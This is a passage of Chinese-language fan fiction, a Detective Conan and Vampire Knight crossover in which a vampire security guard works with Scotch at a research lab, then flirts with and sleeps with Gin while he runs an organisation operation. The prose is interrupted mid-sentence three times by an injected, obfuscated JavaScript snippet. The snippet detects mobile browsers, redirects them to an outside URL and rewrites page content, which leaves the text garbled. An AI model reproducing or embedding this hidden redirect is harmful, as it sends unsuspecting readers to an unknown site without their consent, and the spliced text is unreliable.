玖兰尤雅从来不问诸伏景光在休闲时脸上露出的那一丝丝微不可见的怀念神色,就像诸伏景光也从来不问她每次往自己的水壶里加的那些白色的小药丸到底是什么一样。 是的,玖兰尤雅给自己搞了个不锈钢的水壶。 那个水壶也许是某一次年末会议剩下来的奖品,因为过于奇葩的造型令所有人嫌弃,所以一直闲置在仓库。 某天玖兰尤雅翻到后,她便很兴奋地问自己能不能拥有。 诸伏景光看着那又黄又蓝的小黄人配色,又看了一眼满脸写着“我想要它”的玖兰尤雅,无奈地说你想要就拿去用吧。 于是玖兰尤雅就有了一个自己喝水(血液泡腾片)的水杯。 但即便诸伏景光没有提出要让玖兰尤雅辞职离开这里的话,他的心里却从未打消过这个念头。 他只是……还没有找到一个合适的机会。 …… 研究所很大,每天都要花上一些时间巡逻。 尽管只要玖兰尤雅想,她的意识就能覆盖整个研究所,哪怕是角落里的一只老鼠或者蟑螂,都不会逃过她的感知。 但她还是需要进行一些在自己看来“不太必要”的巡逻,在每天所有人下班离开后,巡视每一个房间。 这天她正巡逻着,看见地下一层的某个房间还开着灯。 她走近一看,发现不知道是谁忘记关里面的灯。 似乎是今天刚送到的实验体放在这里,她还没有进去巡逻过,这个房间需要门禁解锁,想来这个点应该也不会有人在里面。 因为里面关了许多令她感到些许不快的小东西。 实验用白鼠。 她其实挺讨厌这种东西来着,所以只是用手电筒随便照了一下后便离开了。 * 这里的每一个人都很忙,只有保安格外闲。 忙也好闲也好,在玖兰尤雅眼里并没有多少区别,偶尔她也会看着窗外发呆,期待那辆纯黑色的保时捷能在暴雨中停驻于此。 今天的前辈看起来有些不好。 玖兰尤雅看了他几眼,最后决定在吃饭时悄悄提问:“前辈,发生什么事了吗?你今天一整天脸色都不好的样子。” “我表现得有这么明显吗?”他放下手里的筷子,显得有些惊讶。 玖兰尤雅点点头:“因为前辈你很明显心不在焉嘛,发生什么事了?” 诸伏景光动了动筷子,欲言又止。 玖兰尤雅也只是礼貌性的随口一问,她也无意探究别人的秘密,对她来说这些事情和她都没有关系,所以她也没有指望前辈能回答。 据说日本人对隐私看得很重,她还是不要显得自己太八卦了。 要装得更像人一点。 所以见诸伏景光没有回答的意思,她便也不提了,假装无事发生地埋头吃饭。 却不想欲言又止的诸伏景光开口。 “其实……”在沉默了好几秒后,他又摇摇头笑了笑。 “不……没什么。” “噢。” 玖兰尤雅应了一声,便也很快把这个小插曲抛在了脑后。 今天是休息日,哪怕是研究所里最卷的人都早早地下了班,玖兰尤雅突然感觉很闲,看着手机里唯二的联系方式,点开了那个加了?的讯息界面,正准备给男人发点骚扰短信,就见漆黑的保时捷停在了研究所门口。 其实她老远就听见了引擎的轰鸣,她在第一次就记住了这个声音,但这并不影响她内心的喜悦。 玖兰尤雅几乎是立刻从座位上弹了起来,末了她又觉得这样显得自己有点轻浮,虽然她做的轻浮的事情已经够多了。 所以她想了想,非常矜持地等在了门口。 保时捷没有动。 过了一会儿,穿着黑色风衣的银发男人摇下车窗,从车窗内远远地窥了她一眼。 玖兰尤雅也没有动。 Gin扔下烟头,轻哼一声打开车门,朝玖兰尤雅走去。 看着他一步步走过来,玖兰尤雅下意识地整理了一下自己的领带,当男人站定在她面前时,她仰起脸,露出了一个自认非常完美的微笑。 “这位先生,现在已经是下班时间了,研究所马上要关门了哦,不对访客开放呢。” Gin不惯着她在这种时候玩cosplay,所以只是说了一句“走了”后,便拎着她的后颈把人提了起来。 她手脚乱舞挣脱不得,最后是被Gin直接塞进车里的。 玖兰尤雅就是为了扮成可爱无害的样子,这是她的小爱好,看着男人熟练地启动车子,她轻声问道: “你好久没来看我了,你很忙么?” “……” “你在忙什么?” “……” “我们今天去哪里?” Gin:“……” 她就一定要在人点烟点火的时候问个不停吗? 玖兰尤雅故意的。 她看着Gin放下车里的点烟器后立刻闭了嘴。 淡淡的烟雾飘在车里,又很快被车载空调吹散,Gin的手按着方向盘,手背上的青筋若隐若现。 玖兰尤雅舔了舔嘴唇,用舌头把冒了尖尖的獠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496745|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙又抵了回去,刚龇牙咧嘴地弄回去,就听到Gin开口。 “去吃饭。” 非常简洁。 玖兰尤雅觉得他不应该是这种沉默寡言的性格才是。 “我真开心,”她咧嘴笑着,“你还记得我,我好开心。” Gin只是“嗯”了一声,又说:“吃完饭后带你去个地方。” “去哪里?” “到了你就知道了。” 所以这是有计划还是没计划? 闪烁着的霓虹灯在车窗外拉成杂乱的长线条,玖兰尤雅百无聊赖地托着腮,假装看着前面发呆,余光却一刻不停地打量着驾驶座的男人。 她有好几天没见到他了,现在看到竟然还怪想念的。 Gin带她去的地方意外是一家格鲁吉亚餐厅,餐厅的老板是个血统纯正的高加索人,尽管日本的海拔和纬度都比那块遥远大陆山脉所在的位置低一些,但老板的手艺很好地弥补了气候上的不足。 坐下后,Gin点了一杯高度数的白兰地,很贴心地把玖兰尤雅算成了不能喝酒的那种类型,所以只给她上了一杯水。 然后他就眼睁睁地看着玖兰尤雅不知道从哪里掏出来一个土的要死的颜色诡异的保温杯,又从口袋里摸出一个精致的小盒子,将盒子里的一枚白色小药丸丢进了杯子里。 “生病?”这活蹦乱跳的样子,看着也不像。 玖兰尤雅摇了摇头,把保温杯小心翼翼地放在一边。 “我可以理解为你在关心我的身体吗?”她托着腮笑着,没等Gin回答,又说,“只是一些安神的保健品,没有什么的。” 没有什么,也不会捂得那么严实了。 Gin也懒得管这些,毕竟在他看来玖兰尤雅的小秘密无关紧要,这段时间Scotch也在一五一十地朝他汇报和玖兰尤雅有关的事情,即便他对这些传过来的情报并没有尽信就是。 从根本上来讲,他其实不太相信的是Scotch,单纯因为Scotch不是他自己直属的人,所以连带那些情报也半信半疑。 看着时间差不多了,他才来找玖兰尤雅。 只是一个背景简单干净的保安,但在此之前她所有的行为都非常可疑,却又挑不出任何错处。 差不多也该找个机会放在眼皮子底下盯着了,这样……出了什么事他也可以第一时间解决,毕竟那个实验室藏着比较关键的秘密,还算挺重要的。 “你最近在忙什么?都不来看我了。”见他没说话,玖兰尤雅又开启了一个新的话题。 她那双手不老实地动来动去,时不时绞着指尖,就像是初次坠入爱河的少女,面对心上人不知道从何开口。 无比自然老城的语气,配上这自然到看不出做作的动作,给人一种相当强烈的割裂感,却又在她身上显得无比合理。 “客人,这是您点的烤羊排,啊——” 不小心的店员在把巨大的盘子放上桌时,不小心碰倒了玖兰尤雅放在桌子边上的不锈钢水杯。 她没把盖子盖好,眼看着那个水杯就要倒了。 如果掉在地上的话…… 会变成凶案现场吧?毕竟里面都是合成血…… 8. Chapter.08 眼看着那杯颜色不妙的液体即将洒落一地,玖兰尤雅花了0.1秒的时间思考到底是等它洒了自己持续嘴硬说这个只是红色饮料呢,还是花另一个0.1秒在悲剧发生前阻止? 但是这是她今天的晚餐。 她果断选择拯救自己的晚饭。 所以在谁都没看清她动作的情况下,她飞快地稳住了杯子,以防这个没盖好盖子的保温杯从桌上掉下去。 那个服务生连忙鞠躬道歉,说要送一杯饮料赔罪,玖兰尤雅也毫不客气地答应了。 等服务生走了,她再一抬眼,就看到Gin正在打量她。 刚才他看见了全过程。 玖兰尤雅冲他眨了眨眼,又晃了晃手里那个土得要死但非常宝贝的保温杯,说里面是好东西,问Gin要不要尝一口。 出于职业立场,Gin一开始想的里面完全不是什么好东西,玖兰尤雅这么大大方方地问了,他心中不仅没有打消疑虑,甚至怀疑更甚。 见他没说话,玖兰尤雅自讨没趣地说:“只是一些功能饮料,我就知道你不感兴趣。” 她嘀咕了两句,又抬眼看着Gin,脸上露出那种带着憧憬的微笑的表情:“欸,你跟其他的女人出来的时候也是这么沉默吗?” 没等Gin回答,她又往椅背上一靠,伸了个懒腰继续嘀咕:“算了,我还是不要知道了,要是知道你还请其他的女人吃过饭,我会忍不住嫉妒的。” Gin感到一阵无语。 他一个字都还没说,好赖话倒是让这个女人全说完了。 最后他轻笑了一声。 “这么在意?” 听到他这么问,玖兰尤雅立刻来劲了,她当即坐起身准备再阴阳怪气地吃醋蛐蛐两句,Gin接下来的话就把她要说的堵在了嘴里。 “没有其他人……”他手上还戴着手套,就这么拿起桌上的白兰地酒杯,也不管杯子外的那层水,就这么直接饮了一口。 然后他放下杯子,看着还等着他说点什么的玖兰尤雅,脸上阴森的表情似笑非笑。 “因为被我单独请出来的人,往往最后都没有什么好下场。” 组织里不会有人乐意看到他,更不论单独相处了,因为往往这位大爷带着一身杀气说要找谁的时候,基本上就注定了这个人再也回不来了。 故事书里的死神固然可怕,但那毕竟只是故事,显然一身黑风衣手拿M92F的Gin比鬼故事里的死神要可怕得多。 不过玖兰尤雅显然不是什么一般人,听到这话后她的眼珠子滴溜溜地转了一圈,然后又露出牙齿笑了笑。 “如果爱上你也算是没有好下场的话,那我倒挺想看看到底是什么下场。” “你可以试试。”他接了这个一点都不好笑的茬,然后放下手里的杯子,亲手给玖兰尤雅布置好了餐具。 …… 这顿饭吃得极其和谐,两人面对面坐着,有一搭没一搭地聊着天,与其说是情侣,倒像是来相亲的。 吸血鬼是夜间生物,所以在吃过饭后,玖兰尤雅又不死心地想拉着他去第二场,问就是想珍惜单独相处的时间,如果不是Gin强行把她拖回去,可能她就要待在酒吧一整晚了。 喝了酒不能开车。 所以Gin坐在保时捷里,一个电话叫来了小弟。 他对自己的道德标准要求并没有那么严格,在这种时候遵守交通规则也不过是不想引来不必要的麻烦。 在小弟把车停在玖兰尤雅的宿舍门口后,他便推了推靠在自己肩膀上的玖兰尤雅。 “到了,起来。” 玖兰尤雅懒懒地掀了掀眼皮,又嘀咕了一声,继续整个人黏在他身上,双手环着他的腰不肯撒手。 “唔……你在说什么?什么到了?我好困。” 人类的酒不可能灌醉她,所以她完全是装的。 Gin看得出来吗?他当然看得出来,玖兰尤雅也没有要隐藏的意思。 他看得出来玖兰尤雅是在装醉,但是他明天正好也没有什么事,他也并不介意玖兰尤雅在这种时候耍的这点小心机。 所以他并没有任何迟疑地,打开车门自己先出来,然后把玖兰尤雅又拎出来拦腰抱起,像扛麻袋一样扛在肩膀上。 小弟从车窗里探出头:“大哥……” “不用等我。” “……” 小弟秒懂。 之后是走上三楼,从她口袋里摸出了房间的钥匙,然后打开门,开灯,把人丢在地板上一气呵成。 房间里甚至连一张床都没有。 他没有睡地板的习惯。 接着他环视了一圈房间,发现这里可以用“家徒四壁”来形容。 干干净净,非常整洁,甚至整洁到什么都没有,衣柜里甚至只有一件换洗的西装制服,除此之外看不出一点生活的痕迹。 倒是和他的习惯挺像。 哪怕是在自己的私人空间,也不会留下任何生活的痕迹,不如说越是私人空间越需要谨慎处理,这是他们这种身份的家伙必须要具备的生存技能。 “吃饭有食堂,上班的地方也有热水间,我对其他的物质也没有任何需求,你还有什么好奇的吗?” 他收回目光的瞬间,就对上了玖兰尤雅看着他的眼睛。 那双偏暗色的眼睛在昏暗的灯光下似乎闪过了一丝红光,可Gin罕见地有些不确定这是不是自己的错觉。 他知道她非常可疑,有时候恋爱脑上头看起来都变得和他不像是一个世界的家伙,但每当他有这样的想法冒出来时,玖兰尤雅总是会在某些不经意的时候展现出其实他们是一类人的气息。 这很有意思不是吗? 过去,一旦被他列入是怀疑的对象,那么他就可以在极短的时间内找到证据解决掉那些家伙,甚至没有证据也可以,只要“怀疑”就够了,他有资格处决任何人。 而且这家伙是Scotch招进来的,他早就觉得Scotch有点不对劲。 “没有。”他双手插着口袋,很有礼貌地没有四处打量。 而地板上的玖兰尤雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496746|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻了个身,翻过来又翻过去,然后撑着脑袋问他:“谢谢你送我回来,我就不送你出去了。” Gin站在原地没有动。 玖兰尤雅咧开嘴笑了:“听说在这个国家,夜晚对送自己回家的异性说‘留下来’,是这个意思。” 她比了一个需要打马赛克的手势,又非常欠揍地吐了吐舌头:“但是今天不行哦,我想应该是个好日子。” “不用。” “嗯?不用什么?” Gin说了句模棱两可的话,玖兰尤雅还没反应过来,就被Gin从地上拎了起来,正欲开门再出去。 玖兰尤雅:“……” 她开始疯狂挣扎起来。 最后这件事以两人躺在地板上,玖兰尤雅压在Gin身上的阶段性胜利告终。 她跨坐在男人腰胯上,双手撑着他的颇为壮实的胸口。 Gin的眼神在昏暗的灯光下显得有些晦暗不清,但玖兰尤雅却知道那是什么意思。 像一头狼,正在思考该从哪里对猎物下嘴。 玖兰尤雅能感觉到这股危险的气息,但她是故意的,正是这样的危险才令她无比着迷,酒精并不会对她产生影响,但她却兴奋得有点上头了,口腔里那被藏起来的吸血鬼獠牙又开始蠢蠢欲动起来。 她想用舌头把牙齿按回去,却被敏锐地察觉到不对劲的Gin一下子捏住了脸颊。 “你干……什……么……”她话都有点说不清楚。 Gin:“张嘴。” 玖兰尤雅配合地张嘴,然后Gin吻了过来。 带着酒精味和些许血腥味的吻,还有烟味,保时捷里的皮革味,他用的那款香水的味道,有些刺鼻的危险气息,就这样包裹住了她整个人。 然后,不属于自己的舌头扫过口腔,最后停在了獠牙中间。 玖兰尤雅猛地推开了他。 但只是这一下,尖锐的獠牙便已经刺破了男人的嘴唇。 她刚才是一点要收着的意思都没有的,现在发现他被自己伤了,脑子里下意识地想法就是不能。 不行,她还没玩够。 纯血种的吸血鬼就是这点不好,她只要有一点克制不住,就会酿成悲剧。 以前她并不在意,但现在她脑子里冒出的第一个想法,就是面前这个男人绝对不能变成吸血鬼。 至少现在不可以。 所以她并没有犹豫,又按着男人吻了回去,吻过伤口,又舔掉他嘴角的血。 直到确认没有残留,她才松了一口气地放过他。 Gin侧头看着她:“你是狗吗?” “不算是。”玖兰尤雅认真地回答,停顿几秒后,她又非常坏心思地歪了歪头。 “哎呀,这可怎么办才好?” 她的手指点触着男人胸口大衣下那穿着看不出来实际上又非常明显的肌肉,坏心思地看着面前漂亮又危险的银发男人,在黑暗中闪过一丝暗红色的光的眼睛,对上了男人深邃的绿眼。 “Gin先生,需要帮忙吗?” 9. Chapter.09 …… 玖兰尤雅睁开眼睛的时候,时间已经不早了。 其实差不多都已经到她往常要上班的时间点,不过她今天有点不太想起来,她听了男人一夜的呼吸声,明知道他并没有睡着,但玖兰尤雅也没有揭穿。 是一个相当警惕的家伙,她在心里评价道,但玖兰尤雅可以把自己的呼吸放得很轻,就像人类睡着了那样,所以Gin其实并不知道她也没睡着。 但睁开眼看到的不是讨人厌的阳光,而是男人白花花的胸膛,和那上面性感的喉结——很养眼。 比女人还要白皙透亮的皮肤上面遍布了大大小小的伤痕,但那些伤痕不仅没有破坏这份苍白的美感,反而更添一丝野性的性感。 其中一些新鲜的齿痕是她几个小时前刚咬出来的,她其实非常想将那些伤口留下来,但其中有几道咬得比较深——因为体验实在是太好了,不过为了以防万一,她还是先帮他处理了吧。 ……不对。 他昨天不是说吃完饭要带自己去个地方的吗?怎么这事就没着落了?难道要去的其实是他自己家? 玖兰尤雅:“……” 她伸出尖利的手指懊恼地挠地板。 只是稍稍动了动,身旁的男人立刻便睁开了眼睛。 一只手从背后揽过她的腰,把她圈在怀里,另一只手还充当着她的枕头,此时似乎正百无聊赖地玩着她的发尾。 玖兰尤雅想稍微拉开点距离,但没能成功。 她干脆继续攀上Gin的肩膀,然后伸出舌头舔过他的脖子,嘴里的獠牙又有点蠢蠢欲动。 Gin被她舔得痒,一只手捏住了她的下巴:“这么喜欢咬人?” 他说话时,胸腔震动,喉结在玖兰尤雅面前一上一下。 玖兰尤雅含糊地应着,又一口咬了上去。 …… 诸伏景光有些焦虑地在门口走来走去。 已经过去一个小时了。 上班从来没有迟到过的玖兰尤雅,今天迟到了一个小时,而且发短信打电话都没有任何回应。 有时候他也挺想劝自己,在这种自己都有点朝夕不保的环境下,就不要再掺和他人的命运,但—— 怎么能不掺和呢?他可是警/察啊,就算现在做着危险的卧底工作,可他在这个组织当卧底,不就是为了保护一般民众的安全吗? 玖兰尤雅身手很好,起初他也怀疑过她的来历,怀疑过是不是组织放在他身边想要探究他身份的人,可以他对这个组织一知半解的了解,上面的人想要这样弄他大可不必。 也许是不小心睡过头了呢?他这样会不会有点冒昧? 在担忧和保持距离感之间犹豫,诸伏景光正准备无论如何都去看看时,漆黑的保时捷停在了研究所门口。 实验室又出事了? 他原本已经做好了要应对Gin的准备,直到他看见玖兰尤雅从保时捷的副驾驶上下来,她下车后没有立刻往研究所里走,而是敲了敲驾驶座的车窗,往里面探进头,又立刻抽出身子,这才蹦蹦跳跳地走进来。 那辆保时捷开走了,诸伏景光才看见在那漆黑之中一闪而逝的银色。 他当狙击手的,视力很好了,所以一眼就看见那个司机是Gin。 如果他没看错的话,玖兰尤雅刚刚是在……? 啊? 诸伏景光:“……” 大中午的,他怎么觉得他好像还没睡醒呢?是太阳太晒把他晒出幻觉了吗? “前辈,你在看什么?” 他回过神来时,玖兰尤雅已经站在了他面前。 对上少女有些许暗红的眼瞳,诸伏景光眨了眨眼,看了一眼扬长而去的保时捷,又看了一眼面前的玖兰尤雅,然后花了几秒钟的时间理清了思绪后,一脸茫然地问玖兰尤雅:“你怎么……” 糟了,他完全问不出口。 任谁一觉睡醒发现自己同事跟那个要命的顶头上司在一夜之间变得亲昵无比的时候都会稍微先尴尬一下然后忍不住八卦的吧? 不对,这好像不是本质上的问题。 他的脑子在报警——不对,他才是应该出警的啊…… 毕竟是Gin那种人…… 玖兰尤雅倒是没怎么扭捏,现在面对诸伏景光的问题她只是眨巴了一下眼睛,然后满不在乎地摆了摆手:“如你所见,就是你看到的那样。” “所以是……你们……”诸伏景光顿时感觉自己被晒得更恍惚了。 “前辈,我们没有在交往,”玖兰尤雅伸出一根手指晃了晃,然后微微一笑,“只是我把他睡了。” 诸伏景光:“……?” 只是……睡了?把谁睡了? 他茫然地看着玖兰尤雅走到保安值班室门口,在推开门之前,少女又回过头看了他一眼,补充道:“可能会保持不交往但是时不时睡在一起的那种关系吧,前辈不用担心的,他说今天我迟到可以不打卡。” 这是重点吗! 那种阴沉危险的家伙……偏偏长了一张过于容易迷惑女人的脸,怎么看,玖兰尤雅都是被拿捏的那个。 事情到底从哪里开始变得不对的? 诸伏景光神色复杂地跟着玖兰尤雅走进保安室,在今天的值班时间内他无数次想要提醒玖兰尤雅尽量不要和Gin扯上关系,却又不知道怎么开口。 值班的日子其实很枯燥,也很乏味,大多时候研究所里那些上班的也不怎么出来,最多偶尔拿一下外卖,所以为了打发时间,在枯燥无聊地看着监控的同时,他们的保安室里经常会放一些报纸杂志之类的东西,当然,也可以玩手机。 诸伏景光在组织中卧底到现在,甚至拿到了代号,以他的地位实际上是并不需要在这里值班当保安,但因为一些原因,某种程度上他其实算是被发配到这里的,还不知道什么时候能回到原本的岗位去。 他只是想着,在有限的时间内做一些自己力所能及的事情,比如劝说恋爱脑上头的小姑娘回头是岸。 Gin不是什么好人,也是根本不可以交往或者产生任何交集的对象,实在太危险了,完全无法预知的危险…… 直到现在他还觉得玖兰尤雅是个好人。 “第六次。”身边本来在懒洋洋翻书的玖兰尤雅突然开口。 诸伏景光下意识地看过去。 “这是你今天欲言又止地看着我第六次了。”玖兰尤雅转过头,捧着书一副不明所以的样子,“前辈……是想和我说什么吗?” “啊……这个……” “嗯?” 诸伏景光深吸几口气,终于鼓起了勇气开口:“那个,锥生小姐。果然我还是得劝说你交往对象还是要考虑……” 他又不知道怎么说了。 “在前辈眼里,Gin是个什么样的人呢?”玖兰尤雅没有接他的话茬,而是一副很认真的样子问道。 “这个嘛……”诸伏景光脑子里瞬间闪过许多不好的词汇,但最终他一个词也没能说出来,只是勉强地笑了笑,“只是听说过一些传闻而已……毕竟大家比较害怕他嘛。” 他在撒谎,一开始就在撒谎。 玖兰尤雅无比清楚这一点,无论他隐藏得有多好,身上那种和这个地方,和玖兰尤雅,和Gin都格格不入的气息,是玖兰尤雅过去最讨厌的,正义的气息。 她其实对自己这个前辈身上背负的秘密并不感兴趣,而就单看他对Gin的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496747|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度,并不是一般的同事对上司,甚至还有些忌惮他。 显然是Gin手上可能还有他的把柄,又或者说,他和Gin并不是一伙的。 假设Gin有可能是什么□□的头目,加上目前客观情况以及前辈的态度,还有欲言又止的神色,和这里的气息格格不入的善良,可得—— 诸伏景光有可能是对立阵营。 也就是说,是卧底的警察或者公安,或者其他一些什么秘密机构。 当然,这对她来说都无所谓,她只是单纯对这种类似“正派阵营”的人类比较敏感,毕竟她以前干那些好事的时候,总会有一些披着警察皮实际上是猎人的家伙对她穷追不舍,属于是一旦被她认出,就会存在感强到让她完全无法忍受,只想快点干掉的程度。 稍微好一点的消息是,这位同事身上那股讨厌的感觉并不明显,至少她并不反感一个纯粹的好人,无论他是什么立场。 这样有些尴尬的气氛止步于黄昏时分。 到研究所要下班的点,玖兰尤雅和诸伏景又开始了每天登记核对进出人员名单和工牌的工作,直到所有人离开。 今晚是诸伏景光值夜班巡逻,和之前一样,他会在这里待到后半夜。 玖兰尤雅和他交班,刚准备走时,就看见一辆车停在了研究所门口。 都这个点了,怎么还有人来? 那是一辆完全陌生的雪佛兰车,不是在这里上班的工作人员开的车,而且是一个完全陌生的味道。 这个味道……怎么这么像漂亮国的条子? 玖兰尤雅脸上表情没变,心里已经开始疑惑并且担忧自己是不是碰到了卧底条子的接头现场。 她不想被卷进来失去工作啊! 在那个戴着针织帽,穿着经典皮夹克,黑色长发飘飘的条子味道的人从车上下来后,玖兰尤雅察觉到一旁的诸伏景光身上的气息……甚至比先前见到Gin的时候更加凝重。 然而这两人似乎只是单纯的“同事关系”,在短暂的点头示意后,长发男人不带任何感情的目光毫不客气地从玖兰尤雅身上扫过。 “她是谁?” “只是刚来的。” “这样。”那人没再管玖兰尤雅,收回目光后,便冷淡地吐出几个音节: “额外的工作。” 诸伏景光也没有多问这“额外的工作”是什么。 他看向玖兰尤雅,露出抱歉的神色:“对不起,看来我要加其他的班了,今晚能麻烦你帮忙巡逻吗?事后我会请你吃饭的!” “不用了前辈!”玖兰尤雅很懂事地摆摆手:“没事的,我们调一下班就好了。” “好……那就拜托你了。” 诸伏景光说完,便匆匆忙忙跟着那个长发男人离开。 玖兰尤雅目送着他们,直到那辆车消失在道路尽头,才慢悠悠地准备走回研究所大楼。 此时,一只盘旋的乌鸦落在了研究所的围墙上,嘎嘎地叫了两声。 玖兰尤雅像是被叫声吸引,往乌鸦的方向看了一眼。 下一刻,乌鸦飞走了。 玖兰尤雅又慢腾腾地走回到大楼内,监控中,她一直都在岗位上,非常认真地看着保安室内,研究所各处的监控屏幕,偶尔又无聊地对着监控做鬼脸,翻翻书。 看起来没有任何异常。 她似乎并不知道自己在这里的一举一动,都被隐藏着的另一个监控看着,也不知道,自己身上被装上了隐藏的窃听器和追踪器。 监控的另一头,男人的手指敲了敲笔记本电脑的外壳,合上了电脑。 他同样也不知道,此时的玖兰尤雅,其实看到的已经位于高空之上的,东京的大街小巷。 10. Chapter.10 久违的,风的味道,带着海洋的潮湿气息,弥漫在整座城市上空。 霓虹灯光像是蛛网一般在地面上铺散开来,延伸到更远的地方,玖兰尤雅呼吸了一口高空的空气,又收拢翅膀,任凭自己下坠。 她分出了一缕意识,用那只路过的乌鸦的身体,在寻找那个看着自己的视线的尽头。 玖兰尤雅知道自己身上被装上了追踪器和窃听器吗?她当然知道,她怎么可能会不知道。 男人冰冷的怀抱拥抱着她的时候,状似眷恋地摸着她的脸颊的时候,那个精巧的小玩意儿就滑落进了她的衣领,一般人完全无法察觉到,毕竟那个东西的位置很隐蔽,只有关系相当亲密的人才能触碰。 但是玖兰尤雅无所谓这些,她根本不在意,甚至把这当做了情趣。 就是要这样才有意思啊,他越是在意她想干什么,就越是能证明……他心里有她,嗯。 如果今天不是诸伏景光在场,她一定会自言自语说一些奇怪的话,然后给Gin发一些骚扰短信,不确定男人会不会回复,但是她爽了就行。 下坠的乌鸦,在撞上某个屋顶的瞬间又再次张开翅膀,振翅起飞。 玖兰尤雅又沿着道路盘旋了一段,最终在一家已经打烊的餐厅内,找到了她想找的人。 玖兰尤雅轻轻地飞到了窗外稍高一些的地方,这个角度她可以清晰地看见他在做什么。 电脑屏幕显示着的是一张地图,地图上有几个聚集在一起的红点,还有一些黑点,以及交通路况,与他一起连线的还有另外两个人,其中一个用了变声器。 Gin一直没有说话,只是用手机发短信,似乎联系着不在内线的其他人下达指令。 看起来事情进行的很顺利,他脸上的笑容都盖不住了。 真可爱呢。 隔着一层玻璃,玖兰尤雅(乌鸦版)在窗框上找到了歇脚的地方,她一边像一只真正的乌鸦一样梳理着自己的羽毛,一边眼神火热地看着笑得很开心的Gin。 就是他笑的时候不知道为什么就喜欢龇牙,虽然是笑着看起来表情很阴险很坏坏吧但是他—— 他龇牙啊! 没事,龇牙也可以爱,她滤镜八层厚。 玖兰尤雅想了想,要是现在自己用这副身姿冲进去,然后去把那双漂亮的绿色眼睛抢过来会怎么样呢? ……不,还是不要了,至少现在太早了。 她觉得自己的思维也有点被乌鸦影响了,但想要冲进去的想法并没有改变,于是她也立刻将想法付诸行动,通过窗户打开的缝隙,她很轻而易举地就钻了进去。 …… 在人类的一贯认知中,鸦科是最聪明的鸟类。 它们狡猾,记仇,甚至有着比人类已知的,更加丰富的情感,更加复杂的,对世界的认知。 以及,有时候会显得有些怪异的行为,这些在观鸟爱好者看来,碰上了都是无比幸运的事情。 然而Gin不是鸟类爱好者。 起初,那只乌鸦飞到窗户外面的时候,Gin没有多大在意,毕竟乌鸦这种鸟类,别说是东京,在整个日本都很常见。 但他却感觉到了一股盯着自己的视线。 这个餐厅隶属于组织,这个点已经歇业,不会有任何人会在这个时间过来,也不会有人能……在这里窥探他。 Gin很快意识到视线来自于哪里。 是窗外那只乌鸦。 鸟类观察人吗?似乎是很正常的现象,然而这个时间点,鸟类应该早已归巢,但那只乌鸦非但没有离开,反而冲进了餐厅,收起那双不详的翅膀,就这样很没有素质地落到了他的桌子上,歪着头,光明正大地打量着他。 一只鸟而已,不管。 鸟一直打量他,还去喝了他放在一旁的酒。 Gin:“……” 耳机里,女下属在烦躁地问他到底能不能动手了,错过机会他们又要重新找,她蹲了几个小时已经很饿了,闻着下面烤肉店的味道很馋,想赶紧下班吃晚饭。 Gin不慌不忙地安抚,一点也不在意下属对自己发火,很有耐心的样子,调出了实时监控后,看准机会正准备叫人动手—— 但就在这时,鸟从身上拔了一片羽毛,小心翼翼地递给到他手边。 也就是这片刻的时间,目标丢失。 女下属气得破口大骂,表示今天她不干了,变声后的另一位男声也无可奈何地表示今晚的行动到此为止,下次再找机会。 Gin无缘无故挨了一顿骂,群聊的消息弹出来,似乎又有人在嘲笑他今晚失利,那个人的备注是Pinka。 下一刻,手机嗡嗡地响起,他接通后,另一头传来女下属气不过的质问声,背景音里是汽车引擎的轰鸣。 ???:“Gin,我在那里蹲了一下午,就等目标出现,今天晚上的蚊子也很多,你最好给个说法,为什么不动手!” “冷静点Chanti,你那里下雨了。”他不慌不忙地说道。 “欸?”那头被他叫做Chanti的女人愣了愣,下一秒,暴雨便倾盆而至。 “如果那家伙刚才死在车上,想必他的司机一定会慌乱吧,在下大雨的高速公路上引起骚乱或者连环车祸,就不符合我们想要的结果了。” “我知道了,”那头的女声依旧骂骂咧咧,“那下次是什么时候?” “等待机会。” “哈?机会个——” 他挂断了电话,银白的长发从肩头滑落,被雨幕模糊的城市霓虹灯在那极易被染色的头发上留下了一层同样模糊的光晕。 玖兰尤雅痴迷地看着他。 但是Gin并没有搭理这只乌鸦,他认为这只鸟或许是感应到了大雨,所以才找了一个地方躲雨。 至于送他羽毛的行为?他懒得去深究,也没有兴趣去深究。 不过是一只鸟罢了。刚刚被打断工作的行为,他也就当是意外,毕竟他原本就没指望今晚一定会成功。 处理完了工作,他再次调出了另一个画面。 玖兰尤雅歪了歪头,又往他的电脑键盘上跳。 她看见Gin的电脑屏幕上,是自己窝在保安监控室内的画面,与此同时,还有她翻动报纸杂志的声音,以及环境中的白噪音。 哎呀,在监视她吗?真可爱。 玖兰尤雅丝毫不在意,继续得寸进尺地想要骚扰他上夜班。 